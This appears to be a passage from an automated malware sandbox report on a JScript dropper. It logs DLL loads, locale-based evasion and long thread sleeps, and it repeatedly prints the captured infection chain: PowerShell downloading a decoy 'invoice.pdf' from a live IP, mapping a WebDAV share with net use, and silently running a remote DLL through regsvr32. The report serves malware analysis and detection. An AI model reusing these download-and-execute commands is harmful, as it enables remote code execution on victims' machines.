Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\5430.js.csv");ITextStream.WriteLine(" entry:7953 f:miftqxeki");ITextStream.WriteLine(" exec:2 f:miftqxeki");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4402			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4730			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5428	Thread sleep count: 4402 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5428	Thread sleep count: 4730 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1472	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1196	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1412	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3500	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 6592	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7380	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000003.2174680060.000001C595E6D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2177651005.000001C595E6D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3411445453.0000020E7EC54000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3411416635.0000020E7EC41000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.2177133726.000001C595E08000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3410391520.0000020E7D62B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26533108920286.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26533108920286.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26533108920286.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26533108920286.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26533108920286.dll	Jump to behavior
